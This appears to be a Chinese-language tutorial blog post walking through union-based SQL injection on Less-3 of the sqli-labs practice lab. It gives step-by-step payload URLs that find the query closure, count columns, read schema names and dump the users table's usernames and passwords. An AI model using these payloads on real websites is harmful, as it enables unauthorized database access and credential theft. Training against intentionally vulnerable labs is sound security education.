SQL注入案例

跟風遠走 提交于 2019-11-29 15:07:51

1. 首先构造闭合,只有闭合成功之后才能实现后面的sql语句

  • 进行检测
依次以下方式进行检测,使用
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1’ and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1“ and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 ‘) and 1=2--+
......等等
  • 若出现下图则是检测闭合错误,即不对
    在这里插入图片描述
  • 发现只有当输入
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 ‘) and 1=2--+
  • 出现下图,则判断正确闭合为 ')
    在这里插入图片描述

2. 然后使用order by 函数来查看有多少列,具体使用如下(建议使用二分法)

http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 10 --+
  • 发现小于10列,接下来测5列
    在这里插入图片描述
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 5 --+
  • 发现小于5列,接下来测试3列
    在这里插入图片描述
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 3 --+
  • 发现3列的时候显示正确了,所以可以判断可能大于等于3列,接下来判断4列
    在这里插入图片描述
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 4 --+
  • 经检测发现4列不正确,小于4列,所以最终可以得知为3列
    在这里插入图片描述

3. 接下来查看显示位是哪几位,使用union联合查询,先将id改为-1,这样才能使union后的sql语句执行显示出结果。

  • 如图可知,显示位是2,3
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,2,3 --+

在这里插入图片描述

4. 使用databa()函数和version()函数查看库名和版本号

http://192.168.1.129/sqli-labs-master/Less-3/?id=-') union all select 1,database(),version() --+

在这里插入图片描述

5. 由步骤4可知库名为security,再根据库名输出该库的所有表名

http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述

6. 由步骤4,5可知库名为security,表名有users,Emails等等。我们可以尝试查询users表的列名

http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

7. 根据库名security和表名users可以得知users中的列有password,username ,id这些列名,我们就可以根据这些列名查找到我们想要的信息

http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,group_concat(username),group_concat(password) from users--+

在这里插入图片描述

8. 最后查找到users的用户名和密码如上图所示(即sql注入完成)

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!